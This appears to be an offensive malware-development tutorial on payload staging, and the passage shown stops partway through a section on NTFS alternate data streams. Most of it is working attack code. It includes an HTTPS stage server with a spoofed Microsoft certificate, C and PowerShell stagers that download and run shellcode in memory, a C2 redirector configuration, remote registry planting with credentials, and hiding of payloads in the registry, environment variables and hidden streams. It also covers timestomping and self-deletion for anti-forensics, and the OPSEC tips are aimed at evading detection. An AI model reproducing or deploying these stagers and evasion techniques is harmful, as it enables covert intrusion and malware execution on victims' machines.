ᛉ Yggdrasil

Malware development

Payload Staging

15 Sep 2026 · 11,427 words · 52 min

Contents

Legend: [STAGE] = Staging technique | [FETCH] = Payload retrieval method | [STORE] = Storage location | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [API] = Windows API / system call


1. What is Payload Staging

What it means: Payload staging is the practice of splitting an attack into multiple parts — a small initial foothold (Stage 0 / stager) that reaches out to fetch the real payload (Stage 1 / implant) from a remote or local location. The stager itself contains no dangerous payload bytes; it only contains logic to retrieve and execute the actual shellcode, binary, or reflective DLL.

The core problem staging solves:

Stageless payload (everything in one file):
  ├─ Full Cobalt Strike beacon: ~250KB
  ├─ Meterpreter reverse_tcp shell: ~200KB
  ├─ AV/EDR scans entire file on disk
  ├─ All shellcode bytes present at rest
  └─ Single AV signature = entire attack blocked

Staged payload:
  ├─ Stage 0 (stager): ~5–15KB
  │   └─ Contains: connect-to-C2 logic only
  │   └─ AV scan: no shellcode = no signature
  │
  └─ Stage 1 (implant): ~250KB → lives on remote server
      └─ Only fetched after stager runs
      └─ Never touches disk (in-memory only)
      └─ AV never sees it on the victim's disk

Full staging architecture:

[Attacker Infrastructure]          [Victim Machine]

  Stage 1 (full implant)           Stage 0 (stager / loader)
  stored on:                ──────> runs on victim
  ├─ HTTP/HTTPS server              │
  ├─ DNS TXT record                 │ 1. Stager executes (tiny foothold)
  ├─ SMB share                      │ 2. Stager fetches Stage 1 over network
  ├─ Registry (pre-planted)         │ 3. Stage 1 decrypted in memory
  ├─ Cloud storage                  │ 4. Stage 1 injected and executed
  └─ WMI repository                 │ 5. Full C2 channel established
                                    │
                                   Stage 1 (full implant)
                                   lives ONLY in memory
                                   never written to disk

Why staging is used over stageless:

Factor Stageless Staged
AV/EDR bypass Hard — full payload on disk Easy — only tiny stager on disk
Payload size limits (macros, phishing) Hard to fit Small stager fits anywhere
Operational flexibility Fixed payload Can swap Stage 1 without new delivery
Disk forensics Full payload recoverable Only stager recovered — implant gone
Network exposure None Stage 1 fetched over network
C2 dependency None Stage 1 source must be reachable

[OPSEC] The stager's network request is your loudest moment. The outbound fetch to retrieve Stage 1 will be logged, proxied, inspected, and potentially blocked. Blend it with legitimate traffic patterns.


2. Staged vs Stageless — Core Difference

What it means: This is the foundational architectural choice. Every implant, RAT, and C2 framework supports both. The delivery method, environment, and operational goals determine which to use.

2.1 Stageless Architecture

Stageless:
┌─────────────────────────────────────────────┐
│  loader.exe (delivered to victim)            │
│  ├─ Decryption stub (AES/XOR)               │
│  ├─ Encrypted shellcode blob (entire beacon) │
│  └─ Execution logic                          │
└─────────────────────────────────────────────┘
              │
              ▼
  Executes entirely from within one file
  No network request needed for payload
  Good for: air-gapped targets, no internet

2.2 Staged Architecture

Staged:
┌─────────────────┐          ┌─────────────────────────┐
│  stager.exe     │  fetch   │  Stage Server            │
│  (tiny, ~5KB)   │ ───────> │  /beacon.bin  (250KB)   │
│  ├─ URL/host    │          │  /implant.enc (150KB)   │
│  └─ Fetch+exec  │          └─────────────────────────┘
└─────────────────┘
         │
         ▼ (in memory only)
  [Full C2 beacon executing]

2.3 Common Staging Scenarios by Framework

Metasploit:
  msfvenom -p windows/x64/meterpreter/reverse_tcp  ← STAGED (uses /)
  msfvenom -p windows/x64/meterpreter_reverse_tcp  ← STAGELESS (no /)
  Stage 1 served by: msfconsole handler (port 4444)

Cobalt Strike:
  Beacon stager (small) → fetches full beacon from Team Server
  Stage served over: HTTP(S) on port 80/443 by default
  Malleable C2 profile controls how stage traffic looks

Havoc C2:
  Demon stager → fetches demon implant from Havoc listener
  Supports: HTTP, HTTPS, SMB staging

Sliver:
  stager → fetches implant from sliver server
  Supports: HTTP, HTTPS, mTLS, WireGuard

2.4 When to Use Which

Scenario Use
Phishing attachment (size limit) Staged — stager fits in Office macro
USB drop / physical access Stageless — no C2 needed for initial drop
Air-gapped network Stageless — can't reach stage server
EDR present on target Staged — stager has no payload signature
Rapid redeployment (swap payload) Staged — update Stage 1 on server only
Lateral movement (already internal) Either — SMB staging works well internally
Long-term persistence Stageless — doesn't need repeated server contact

3. Web Server Staging (HTTP / HTTPS)

What it means: The most common staging method. Stage 1 is hosted on an attacker-controlled web server (or a compromised legitimate server). The stager makes an HTTP/HTTPS GET request to fetch the payload, decrypts it in memory, and executes it.

3.1 Serving the Stage — Python HTTPS Server

#!/usr/bin/env python3
# stage_server.py — Simple HTTPS staging server with auth
# Generates self-signed cert and serves encrypted stage payload

import ssl
import http.server
import socketserver
import hashlib
import os

STAGE_FILE  = "stage1.enc"     # Encrypted Stage 1 payload
STAGE_PATH  = "/beacon"        # URL path stager fetches
AUTH_TOKEN  = "X-Auth: s3cr3t" # Optional auth header to gate access
PORT        = 443

class StagingHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        # Log client IP + request
        print(f"[+] {self.client_address[0]} → {format % args}")

    def do_GET(self):
        if self.path != STAGE_PATH:
            # Return 404 for anything unexpected (avoid fingerprinting)
            self.send_response(404)
            self.end_headers()
            return

        # Optional: verify auth header
        auth = self.headers.get("X-Auth", "")
        if auth != "s3cr3t":
            self.send_response(403)
            self.end_headers()
            return

        # Serve the encrypted stage payload
        with open(STAGE_FILE, "rb") as f:
            data = f.read()

        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(data)))
        # Blend with a plausible response header
        self.send_header("Server", "Apache/2.4.54 (Ubuntu)")
        self.end_headers()
        self.wfile.write(data)
        print(f"[+] Stage delivered: {len(data)} bytes")

# Generate self-signed cert for HTTPS
os.system("openssl req -new -x509 -keyout server.key -out server.crt "
          "-days 365 -nodes -subj '/CN=updates.microsoft.com' 2>/dev/null")

httpd = socketserver.TCPServer(("0.0.0.0", PORT), StagingHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("server.crt", "server.key")
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

print(f"[*] HTTPS stage server on port {PORT}")
print(f"[*] Stage path: https://<IP>{STAGE_PATH}")
httpd.serve_forever()

3.2 Stager — HTTP Fetch in C (WinINet)

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
// Link: -lwininet

// HTTP stager — fetches encrypted Stage 1, decrypts, executes in memory

#define STAGE_HOST  L"192.168.1.100"
#define STAGE_PORT  443
#define STAGE_PATH  L"/beacon"
#define AUTH_HEADER L"X-Auth: s3cr3t\r\n"
#define XOR_KEY     0x4B    // Must match server-side encryption key

LPBYTE FetchStageHTTPS(SIZE_T* outSize) {
    HINTERNET hInet = NULL, hConn = NULL, hReq = NULL;
    LPBYTE pBuf = NULL;
    DWORD bytesRead = 0;
    SIZE_T totalRead = 0;

    // Initialize WinINet — use neutral user agent to blend in
    hInet = InternetOpenW(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        INTERNET_OPEN_TYPE_PRECONFIG,   // Use system proxy
        NULL, NULL, 0);

    if (!hInet) goto cleanup;

    // Connect to stage server
    hConn = InternetConnectW(hInet, STAGE_HOST, STAGE_PORT,
                             NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConn) goto cleanup;

    // Open request (HTTPS)
    DWORD flags = INTERNET_FLAG_SECURE
                | INTERNET_FLAG_NO_CACHE_WRITE
                | INTERNET_FLAG_RELOAD
                | INTERNET_FLAG_IGNORE_CERT_ERRORS;  // For self-signed cert

    hReq = HttpOpenRequestW(hConn, L"GET", STAGE_PATH,
                            NULL, NULL, NULL, flags, 0);
    if (!hReq) goto cleanup;

    // Add auth header
    HttpAddRequestHeadersW(hReq, AUTH_HEADER, (DWORD)-1,
                           HTTP_ADDREQ_FLAG_ADD);

    // Send request
    if (!HttpSendRequestW(hReq, NULL, 0, NULL, 0)) goto cleanup;

    // Read Content-Length first
    DWORD contentLen = 0;
    DWORD bufLen = sizeof(DWORD);
    HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
                   &contentLen, &bufLen, NULL);

    // Allocate buffer
    pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
                             contentLen + 1);
    if (!pBuf) goto cleanup;

    // Read payload
    while (InternetReadFile(hReq, pBuf + totalRead,
                            contentLen - (DWORD)totalRead, &bytesRead)
           && bytesRead > 0) {
        totalRead += bytesRead;
    }

    *outSize = totalRead;
    printf("[+] Stage fetched: %zu bytes\n", totalRead);

cleanup:
    if (hReq)  InternetCloseHandle(hReq);
    if (hConn) InternetCloseHandle(hConn);
    if (hInet) InternetCloseHandle(hInet);
    return pBuf;
}

// XOR decrypt the fetched stage
void XorDecrypt(LPBYTE data, SIZE_T len, BYTE key) {
    for (SIZE_T i = 0; i < len; i++)
        data[i] ^= key;
}

// Execute stage in memory (shellcode injection into self)
BOOL ExecuteStageInMemory(LPBYTE shellcode, SIZE_T len) {
    // Allocate RWX memory in current process
    LPVOID pExec = VirtualAlloc(NULL, len,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);
    if (!pExec) return FALSE;

    memcpy(pExec, shellcode, len);

    // Change to RX (better OPSEC)
    DWORD oldProt;
    VirtualProtect(pExec, len, PAGE_EXECUTE_READ, &oldProt);

    // Create thread to execute
    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pExec,
                                  NULL, 0, NULL);
    if (!hThread) return FALSE;

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return TRUE;
}

int main(void) {
    SIZE_T stageSize = 0;

    // Step 1: Fetch Stage 1 over HTTPS
    LPBYTE pStage = FetchStageHTTPS(&stageSize);
    if (!pStage || stageSize == 0) {
        printf("[-] Failed to fetch stage\n");
        return 1;
    }

    // Step 2: Decrypt in memory
    XorDecrypt(pStage, stageSize, XOR_KEY);
    printf("[+] Stage decrypted\n");

    // Step 3: Execute in memory (never touches disk)
    ExecuteStageInMemory(pStage, stageSize);

    // Step 4: Wipe memory before freeing
    SecureZeroMemory(pStage, stageSize);
    HeapFree(GetProcessHeap(), 0, pStage);
    return 0;
}

3.3 Stager — PowerShell (One-Liner)

# PowerShell HTTP stager — fetches and executes in memory
# No files written to disk

# Basic (no SSL validation bypass needed for valid cert)
$b = (New-Object Net.WebClient).DownloadData("https://192.168.1.100/beacon")
$k = 0x4B  # XOR key
$d = [byte[]]($b | ForEach-Object { $_ -bxor $k })
$m = [System.Runtime.InteropServices.Marshal]
$p = $m::AllocHCoGlobal($d.Length)
$m::Copy($d, 0, $p, $d.Length)
$vp = [System.Runtime.InteropServices.RuntimeEnvironment]
# → Use VirtualAlloc + CreateThread via P/Invoke for full execution

# More complete version with P/Invoke execution:
$code = @"
using System;
using System.Runtime.InteropServices;
public class Stager {
    [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(
        IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")] public static extern IntPtr CreateThread(
        IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
    [DllImport("kernel32")] public static extern uint WaitForSingleObject(
        IntPtr h, uint ms);
    public static void Run(byte[] sc) {
        IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
        Marshal.Copy(sc, 0, p, sc.Length);
        IntPtr t = CreateThread(IntPtr.Zero, 0, p, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(t, 0xFFFFFFFF);
    }
}
"@
Add-Type -TypeDefinition $code
$wc = New-Object Net.WebClient
$wc.Headers.Add("X-Auth", "s3cr3t")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$bytes = $wc.DownloadData("https://192.168.1.100/beacon")
$key = 0x4B
$dec = [byte[]]($bytes | ForEach-Object { $_ -bxor $key })
[Stager]::Run($dec)

3.4 Redirectors — Domain Fronting & CDN

Domain Fronting / CDN Staging Architecture:
══════════════════════════════════════════════════════
Victim                CDN (Cloudflare/Fastly/Azure)     Real C2

  GET /update.bin     Host: cdn.legitimate.com           GET /beacon
  Host: cdn.legit ──> CDN edge node ─────────────────>  192.168.1.100
  TLS to CDN          ├─ Looks like CDN traffic          Serves stage
                      └─ Victim sees CDN cert
══════════════════════════════════════════════════════
Tools: Cobalt Strike redirectors, Apache mod_rewrite, Nginx
# Nginx redirector config — forward /update.bin to real C2
server {
    listen 443 ssl;
    server_name cdn.legitimate-looking.com;

    ssl_certificate     /etc/ssl/certs/cert.pem;
    ssl_certificate_key /etc/ssl/private/key.pem;

    # Only proxy known staging paths
    location /update.bin {
        proxy_pass https://192.168.1.100/beacon;
        proxy_set_header Host $host;
        proxy_ssl_verify off;
    }

    # Serve a real-looking page for everything else (avoid fingerprinting)
    location / {
        return 302 https://www.microsoft.com/;
    }
}

[OPSEC] Category-filter your staging domain. Use a domain aged >30 days, categorized as "Technology" or "Business" in tools like URLScan / Bluecoat WebPulse. Blue Coat/Zscaler/Palo Alto block uncategorized domains by default.

[DETECT] HTTP staging over port 80/443 from a suspicious process is logged by network proxies, NDR tools (Zeek/Suricata), and endpoint network monitoring (EDR network events). Blend with legitimate traffic timing and use JA3/JA3S fingerprint matching to mimic known-good TLS clients.


4. Windows Registry Staging

What it means: The Windows Registry is used as a storage location for payload bytes. The stager reads the payload from a registry key at runtime, decodes/decrypts it, and executes it. The payload is never stored as a file on disk — only as registry data.

4.1 Registry as Payload Store — Concepts

Registry staging locations (common choices):

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
HKCU\Software\Classes\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\  (requires admin)
HKCU\Software\<random GUID>\

Value types:
  REG_BINARY  → Store raw shellcode bytes directly
  REG_SZ      → Store Base64-encoded payload (ASCII string)
  REG_MULTI_SZ → Store payload split across multiple string values

Why registry?
├─ No file on disk → evades file-based AV scans
├─ Persists across reboots without a separate persistence mechanism
├─ Registry keys look like legitimate Windows config data
├─ AV rarely scans registry values for shellcode
└─ Easy to access from any context (usermode, scripting, C, PowerShell)

4.2 Writing Stage to Registry (Python — Attacker Side)

#!/usr/bin/env python3
# plant_registry_stage.py
# Runs on a machine where you already have access (or remotely via SMB/WMI)
# Plants encrypted shellcode into the registry for the stager to read later

import winreg
import base64
import os

# Read your encrypted stage payload
with open("stage1.enc", "rb") as f:
    payload = f.read()

# Encode as Base64 for REG_SZ storage (avoids binary encoding issues)
b64_payload = base64.b64encode(payload).decode()

# Target registry key (HKCU — no admin needed)
key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
value_name = "EnableBalloonTips"   # ← Blend with legitimate-looking value name

try:
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path,
                         0, winreg.KEY_SET_VALUE)
except FileNotFoundError:
    key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)

winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, b64_payload)
winreg.CloseKey(key)

print(f"[+] Stage planted in registry")
print(f"    Key:   HKCU\\{key_path}")
print(f"    Value: {value_name}")
print(f"    Size:  {len(b64_payload)} bytes (Base64 of {len(payload)} bytes)")

4.3 Reading Stage from Registry (C — Stager)

#include <windows.h>
#include <stdio.h>

// Stager reads payload from registry, decrypts, executes in memory

#define REG_KEY   L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"
#define REG_VALUE L"EnableBalloonTips"
#define XOR_KEY   0x4B

// Simple Base64 decode (or use CryptStringToBinaryA for built-in Windows decode)
// Here we use Windows built-in: CryptStringToBinaryA
#include <wincrypt.h>
// Link: -lcrypt32

LPBYTE ReadStageFromRegistry(SIZE_T* outSize) {
    HKEY hKey = NULL;
    LPWSTR pRegData = NULL;
    LPBYTE pDecoded = NULL;

    // Open registry key
    LONG ret = RegOpenKeyExW(HKEY_CURRENT_USER, REG_KEY,
                             0, KEY_READ, &hKey);
    if (ret != ERROR_SUCCESS) {
        printf("[-] RegOpenKeyEx failed: %ld\n", ret);
        return NULL;
    }

    // Query value size first
    DWORD dataType = 0;
    DWORD dataSize = 0;
    ret = RegQueryValueExW(hKey, REG_VALUE, NULL, &dataType, NULL, &dataSize);
    if (ret != ERROR_SUCCESS) {
        printf("[-] RegQueryValueEx (size) failed: %ld\n", ret);
        RegCloseKey(hKey);
        return NULL;
    }

    // Allocate and read the Base64 string
    pRegData = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dataSize + 2);
    ret = RegQueryValueExW(hKey, REG_VALUE, NULL, &dataType,
                           (LPBYTE)pRegData, &dataSize);
    RegCloseKey(hKey);

    if (ret != ERROR_SUCCESS) {
        printf("[-] RegQueryValueEx (read) failed: %ld\n", ret);
        HeapFree(GetProcessHeap(), 0, pRegData);
        return NULL;
    }

    printf("[+] Read %lu bytes from registry\n", dataSize);

    // Convert wide string to narrow for CryptStringToBinaryA
    int narrowLen = WideCharToMultiByte(CP_ACP, 0, pRegData, -1,
                                        NULL, 0, NULL, NULL);
    LPSTR pNarrow = (LPSTR)HeapAlloc(GetProcessHeap(), 0, narrowLen);
    WideCharToMultiByte(CP_ACP, 0, pRegData, -1, pNarrow, narrowLen, NULL, NULL);
    HeapFree(GetProcessHeap(), 0, pRegData);

    // Base64 decode using Windows CryptStringToBinaryA
    DWORD decodedSize = 0;
    CryptStringToBinaryA(pNarrow, 0, CRYPT_STRING_BASE64,
                         NULL, &decodedSize, NULL, NULL);

    pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, decodedSize);
    CryptStringToBinaryA(pNarrow, 0, CRYPT_STRING_BASE64,
                         pDecoded, &decodedSize, NULL, NULL);
    HeapFree(GetProcessHeap(), 0, pNarrow);

    *outSize = decodedSize;
    printf("[+] Decoded %lu bytes from Base64\n", decodedSize);
    return pDecoded;
}

int main(void) {
    SIZE_T stageSize = 0;

    // Step 1: Read from registry
    LPBYTE pStage = ReadStageFromRegistry(&stageSize);
    if (!pStage) return 1;

    // Step 2: XOR decrypt
    for (SIZE_T i = 0; i < stageSize; i++)
        pStage[i] ^= XOR_KEY;

    // Step 3: Execute in memory
    LPVOID pExec = VirtualAlloc(NULL, stageSize,
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(pExec, pStage, stageSize);
    SecureZeroMemory(pStage, stageSize);
    HeapFree(GetProcessHeap(), 0, pStage);

    DWORD old;
    VirtualProtect(pExec, stageSize, PAGE_EXECUTE_READ, &old);

    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pExec,
                                  NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

4.4 PowerShell Registry Stager

# Read stage from registry and execute in memory
$regPath  = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
$regValue = "EnableBalloonTips"

# Read and decode
$b64  = (Get-ItemProperty -Path $regPath -Name $regValue).$regValue
$enc  = [Convert]::FromBase64String($b64)

# XOR decrypt
$key  = 0x4B
$dec  = [byte[]]($enc | ForEach-Object { $_ -bxor $key })

# Execute via P/Invoke (same pattern as §3.3)
# ... [P/Invoke VirtualAlloc + CreateThread as in §3.3]

4.5 Remote Registry Staging (Plant via SMB)

:: Plant payload on remote machine via registry (requires admin)
:: First, base64 encode your payload:
:: certutil -encode stage1.enc stage1.b64

:: Read b64 content into variable, then write to remote registry
reg add \\192.168.1.50\HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced ^
    /v EnableBalloonTips /t REG_SZ /d "<base64_payload>" /f
# Remote registry staging via Impacket (Linux attacker machine)
from impacket.dcerpc.v5 import transport, rrp

target  = "192.168.1.50"
user    = "DOMAIN\\admin"
passwd  = "password"

# Connect to remote registry via SMB
rpctransport = transport.SMBTransport(target, 445, r'\winreg', user, passwd)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)

# Open HKCU
ans = rrp.hOpenCurrentUser(dce)
regHandle = ans['phKey']

# Open/create key
ans = rrp.hBaseRegOpenKey(dce, regHandle,
    'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced')
keyHandle = ans['phkResult']

# Write payload as Base64 string
import base64
with open("stage1.enc", "rb") as f:
    data = base64.b64encode(f.read()).decode()

rrp.hBaseRegSetValue(dce, keyHandle, 'EnableBalloonTips',
                     rrp.REG_SZ, data + '\x00')
print("[+] Stage planted in remote registry")

[OPSEC] Avoid HKLM for staging without a strong reason — it requires admin rights and gets more scrutiny. HKCU under existing legitimate-looking key paths is lower-noise.

[DETECT] Sysmon EventID 13 (RegistryValueSet) and EventID 12 (RegistryCreateAndDelete) will log registry writes. Use value names that match legitimate Windows values in the same key to reduce analyst suspicion.


5. File System Staging

What it means: The payload is written to disk in a location that AV is unlikely to scan aggressively, or in a format that doesn't trigger signatures. The stager reads from disk rather than network, which can bypass network-based detection.

5.1 Common Staging Locations

Low-visibility file system locations:

User profile:
  %APPDATA%\Microsoft\Windows\Themes\      ← Legit-looking theme data
  %LOCALAPPDATA%\Microsoft\Windows\        ← Common app cache location
  %TEMP%\                                  ← Cleaned frequently, but OK short-term

System locations (admin required):
  C:\Windows\System32\spool\drivers\color\ ← ICC profiles — AV skips
  C:\Windows\Tasks\                        ← Scheduled task data
  C:\ProgramData\Microsoft\                ← Rarely scanned deeply

Program Files disguise:
  C:\Program Files\Common Files\Microsoft Shared\
  C:\Program Files\Windows NT\Accessories\

File naming tricks:
  svchost.dat        ← Looks like svchost data file
  update.db          ← Looks like update database
  config.bin         ← Generic binary config
  telemetry.log      ← Logging data — low scrutiny
  thumbcache_256.db  ← Mimics Windows thumbnail cache

5.2 Writing Stage to Disk (Encrypted)

#include <windows.h>
#include <stdio.h>

// Write encrypted stage to a disguised file location
BOOL PlantStageOnDisk(LPBYTE encStage, SIZE_T stageLen) {
    wchar_t stagePath[MAX_PATH];

    // Build path: %APPDATA%\Microsoft\Windows\Themes\ThemeData.bin
    ExpandEnvironmentStringsW(
        L"%APPDATA%\\Microsoft\\Windows\\Themes\\ThemeData.bin",
        stagePath, MAX_PATH);

    HANDLE hFile = CreateFileW(stagePath,
                               GENERIC_WRITE, 0, NULL,
                               CREATE_ALWAYS,
                               FILE_ATTRIBUTE_NORMAL
                               | FILE_ATTRIBUTE_HIDDEN,   // Hidden file attribute
                               NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return FALSE;
    }

    DWORD written;
    WriteFile(hFile, encStage, (DWORD)stageLen, &written, NULL);
    CloseHandle(hFile);

    printf("[+] Stage planted: %ls (%lu bytes)\n", stagePath, written);
    return TRUE;
}

// Read stage from disk and execute
BOOL LoadAndExecuteStage(void) {
    wchar_t stagePath[MAX_PATH];
    ExpandEnvironmentStringsW(
        L"%APPDATA%\\Microsoft\\Windows\\Themes\\ThemeData.bin",
        stagePath, MAX_PATH);

    HANDLE hFile = CreateFileW(stagePath, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD fileSize = GetFileSize(hFile, NULL);
    LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);
    DWORD bytesRead;
    ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    // Delete after reading (anti-forensics)
    DeleteFileW(stagePath);
    printf("[+] Stage read and deleted from disk\n");

    // Decrypt + execute (XOR example)
    for (DWORD i = 0; i < bytesRead; i++) pBuf[i] ^= 0x4B;

    LPVOID pExec = VirtualAlloc(NULL, bytesRead,
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(pExec, pBuf, bytesRead);
    SecureZeroMemory(pBuf, bytesRead);
    HeapFree(GetProcessHeap(), 0, pBuf);

    DWORD old;
    VirtualProtect(pExec, bytesRead, PAGE_EXECUTE_READ, &old);
    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pExec,
                                  NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return TRUE;
}

5.3 Timestomping (Anti-Forensics)

// After planting a file, overwrite its timestamps to match nearby system files
// This makes the file look like it existed long before the attack

BOOL TimestompFile(const wchar_t* filePath, const wchar_t* referenceFile) {
    // Get timestamps from a reference file (e.g., nearby legitimate file)
    HANDLE hRef = CreateFileW(referenceFile, GENERIC_READ,
                              FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hRef == INVALID_HANDLE_VALUE) return FALSE;

    FILETIME creationTime, lastAccessTime, lastWriteTime;
    GetFileTime(hRef, &creationTime, &lastAccessTime, &lastWriteTime);
    CloseHandle(hRef);

    // Apply reference timestamps to our planted file
    HANDLE hTarget = CreateFileW(filePath, FILE_WRITE_ATTRIBUTES,
                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                                 NULL, OPEN_EXISTING, 0, NULL);
    if (hTarget == INVALID_HANDLE_VALUE) return FALSE;

    SetFileTime(hTarget, &creationTime, &lastAccessTime, &lastWriteTime);
    CloseHandle(hTarget);

    printf("[+] Timestamps cloned from reference file\n");
    return TRUE;
}

[DETECT] Sysmon EventID 11 (FileCreate) catches file creation. EventID 23 (FileDelete) catches self-deletion. Timestomping is detected by comparing $STANDARD_INFORMATION and $FILE_NAME NTFS attributes (they differ after a stomp).


6. Environment Variable Staging

What it means: Payload bytes (Base64-encoded) are stored in environment variables. Environment variables persist for the session (or permanently if set in the registry) and are accessible to child processes. Rarely monitored for shellcode storage.

6.1 Setting Payload in Environment Variables

:: Set a user-scope environment variable (persists until reboot or explicit clear)
:: Base64-encode your payload first:
:: certutil -encode stage1.enc stage1.b64 && type stage1.b64

set APPDATA_CACHE=<base64_encoded_payload>

:: For persistence (writes to registry HKCU\Environment)
setx APPDATA_CACHE "<base64_encoded_payload>"
# PowerShell: store payload in environment variable (session-scoped)
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
[Environment]::SetEnvironmentVariable("APPDATA_CACHE", $b64, "User")  # Permanent
$env:APPDATA_CACHE = $b64  # Session only

# Retrieve and execute
$enc = [Convert]::FromBase64String($env:APPDATA_CACHE)
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# → Execute via P/Invoke as in §3.3

6.2 Reading Environment Variable in C (Stager)

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

LPBYTE ReadStageFromEnvVar(const char* varName, SIZE_T* outSize) {
    // Get size first
    DWORD needed = GetEnvironmentVariableA(varName, NULL, 0);
    if (needed == 0) {
        printf("[-] Env var '%s' not found\n", varName);
        return NULL;
    }

    LPSTR pB64 = (LPSTR)HeapAlloc(GetProcessHeap(), 0, needed);
    GetEnvironmentVariableA(varName, pB64, needed);
    printf("[+] Read %lu chars from env var\n", needed);

    // Base64 decode
    DWORD decodedSize = 0;
    CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
                         NULL, &decodedSize, NULL, NULL);
    LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
    CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
                         pDecoded, &decodedSize, NULL, NULL);

    HeapFree(GetProcessHeap(), 0, pB64);

    // Wipe env var after reading (cleanup)
    SetEnvironmentVariableA(varName, NULL);

    *outSize = decodedSize;
    return pDecoded;
}

[OPSEC] Environment variable payloads are limited in size (~32KB per variable on older Windows, ~1MB practical limit). Split large payloads across multiple variables and reassemble.


7. Alternate Data Streams (ADS)

What it means: NTFS Alternate Data Streams allow files to have multiple data streams attached. The default stream is filename.ext:$DATA. An attacker can write shellcode to a hidden stream like legit.txt:payload — the file looks normal to Explorer and most tools, but the hidden stream contains the payload.

7.1 Writing an ADS

:: Write payload to ADS of an innocent-looking file
:: The file legit.txt appears 0 bytes or contains dummy text
:: The stream :hidden contains the actual payload

:: Create innocent file
echo This is a configuration file. > C:\Users\Public\config.txt

:: Write payload to ADS
type stage1.enc > C:\Users\Public\config.txt:payload

:: Verify ADS exists
dir /R C:\Users\Public\config.txt
:: Output: config.txt
::         config.txt:payload:$DATA   ← Hidden stream visible with /R flag
# PowerShell: write Base64 payload to ADS
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
Set-Content -Path "C:\Users\Public\config.txt:payload" -Value $b64

# Read back
$enc = [Convert]::FromBase64String((Get-Content "C:\Users\Public\config.txt:payload"))

7.2 Reading ADS in C (Stager)

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

// Read payload from NTFS Alternate Data Stream
// ADS path format: "C:\path\to\file.txt:streamname"

LPBYTE ReadStageFromADS(const wchar_t* adsPath, SIZE_T* outSize) {
    // Open the ADS using standard CreateFile with the :streamname syntax
    HANDLE hFile = CreateFileW(adsPath,
                               GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open ADS: %lu\n", GetLastError());
        return NULL;
    }

    DWORD fileSize = GetFileSize(hFile, NULL);
    LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize + 1);
    DWORD bytesRead;
    ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    pBuf[bytesRead] = 0;  // Null terminate for Base64 decode

    // Base64 decode
    DWORD decodedSize = 0;
    CryptStringToBinaryA((LPCSTR)pBuf, 0, CRYPT_STRING_BASE64,
                         NULL, &decodedSize, NULL, NULL);
